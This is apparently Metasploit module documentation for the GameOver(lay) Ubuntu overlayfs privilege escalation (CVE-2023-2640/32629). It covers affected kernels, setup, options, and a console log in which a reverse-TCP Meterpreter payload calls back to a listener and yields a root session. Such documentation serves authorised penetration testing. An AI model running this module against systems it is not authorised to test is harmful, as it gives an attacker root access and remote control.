## Description

CVE-2023-2640 and CVE-2023-32629 are vulnerabilities that allow for the arbitrary setting of 
capabilities while overlaying filesystems. On most Linux Kernels during the execution of
 `ovl_do_setxattr` an intermediate function `vfs_setxatrr` converts file capabilities in a
way that limits them to the current namespace. However, on some versions of the Ubuntu kernel
 `_vfs_setxattr_noperm` is called directly without calling `vfs_setxattr`. 

When a new namespace is created the user will technically be "root" within that given 
namespace. This module will take advantage of this by setting the `CAP_SETUID` capability 
on a system binary. It will then perform filesystem overlay, copying the binary into the lower
directory. Because of the flaws described above when the binary is transferred into the upper
directory its capabilities will not be sanitized and persist in the "normal" namespace. 

## Vunerable Application

These vulnerabilities are somewhat unique in that they effect a wide variety of Ubuntu releases
and kernel versions, as described in the list below. 

Ubuntu 23.04 (Lunar Lobster)m kernel 6.2.0, (CVE-2023-2640 & CVE-2023-32629)

Ubuntu 22.10 (Kinetic Kudu), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629)

Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629)

Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 6.2.0, (CVE-2023-2640 & CVE-2023-32629)

Ubuntu 20.04 LTS (Focal Fossa), kernel -> 5.4.0, (CVE-2023-32629)

Ubuntu 18.04 LTS (Bionic Beaver), kernel -> 5.4.0, (CVE-2023-32629)

The user can download a vulnerable version, for example:

```
sudo apt update
sudo apt install -y linux-image-5.19.0-41-generic linux-headers-5.19.0-41-generic
reboot
```
While testing, @bwatters7 mentioned taking the system offline as this appears to be patched automatically.
Be sure to take the system offline to prevent the vulnerabilities from silently being patched. 

This module has successfully been tested on the following:

Ubuntu 22.04 LTS (Jammy Jellyfish) 5.19.0-41-generic

Ubuntu 20.04 LTS (Focal Fossa) 5.4.0-1018-aws

## Verification Steps

1). Start `msfconsole`

2). Get a session on a vulnerable system

3). Use `exploit/linux/local/gameoverlay_privesc`

4). Optional: choose target for payload, either linux binary (0) or [li|u]nix command (1) 
`set target 1`

5). Set session `set session [SESSION]`

5). Do. `run`

6). You should get a new session running as root. 

## Options

### Payload File Name
Name of the file storing the payload, default is random.

### Writable Dir
The name of a directory with write permissions, default is `/tmp`. This will be where the 
payload file will be created if necessary. Additionally during the exploit a series of directories will be
created here to perform the filesystem overlaying. 

## Scenarios

You have a non-root session on one of the systems described above. Please note that this 
module will automatically run checks to determine if the system is vulnerable, you can disable 
this with `set AutoCheck False`. 

```
msf exploit(linux/local/gameoverlay_privesc) >
[*] Sending stage (3045380 bytes) to 10.5.132.129
[*] Meterpreter session 3 opened (10.5.135.201:4585 -> 10.5.132.129:33504) at 2024-12-18 14:02:15 -0600

msf exploit(linux/local/gameoverlay_privesc) > set session 3
session => 3
msf exploit(linux/local/gameoverlay_privesc) > show options

Module options (exploit/linux/local/gameoverlay_privesc):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   PayloadFileName  pSueaCXrnzH      yes       Name of payload
   SESSION          3                yes       The session to run this module on
   WritableDir      /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.5.135.201     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux_Binary



View the full module info with the info, or info -d command.

msf exploit(linux/local/gameoverlay_privesc) > run

[*] Started reverse TCP handler on 10.5.135.201:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected Ubuntu version: Jammy Jellyfish
[*] Detected kernel version: 5.19.0-41-generic
[+] The target is vulnerable. Jammy Jellyfish with 5.19.0-41-generic kernel is vunerable
[*] Creating directory to store payload: /tmp/ODBpneOXk/
[*] Creating directory /tmp/ODBpneOXk/
[*] /tmp/ODBpneOXk/ created
[*] Creating directory /tmp/ODBpneOXk/
[*] Creating directory /tmp/ODBpneOXk/
[*] /tmp/ODBpneOXk/ created
[*] Creating directory /tmp/ODBpneOXk/bmbtPAX/
[*] Creating directory /tmp/ODBpneOXk/bmbtPAX/
[*] /tmp/ODBpneOXk/bmbtPAX/ created
[*] Creating directory /tmp/ODBpneOXk/JtNbwLXJKw/
[*] Creating directory /tmp/ODBpneOXk/JtNbwLXJKw/
[*] /tmp/ODBpneOXk/JtNbwLXJKw/ created
[*] Creating directory /tmp/ODBpneOXk/hEhbByWL/
[*] Creating directory /tmp/ODBpneOXk/hEhbByWL/
[*] /tmp/ODBpneOXk/hEhbByWL/ created
[*] Creating directory /tmp/ODBpneOXk/yvvSFre/
[*] Creating directory /tmp/ODBpneOXk/yvvSFre/
[*] /tmp/ODBpneOXk/yvvSFre/ created
[*] Writing payload: /tmp/ODBpneOXk/pSueaCXrnzH
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 10.5.132.129
[*] rm: cannot remove '/tmp/ODBpneOXk/yvvSFre/': Device or resource busy
[*] Meterpreter session 4 opened (10.5.135.201:4444 -> 10.5.132.129:44400) at 2024-12-18 14:02:42 -0600

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 10.5.132.129
OS           : Ubuntu 22.04 (Linux 5.19.0-41-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

```
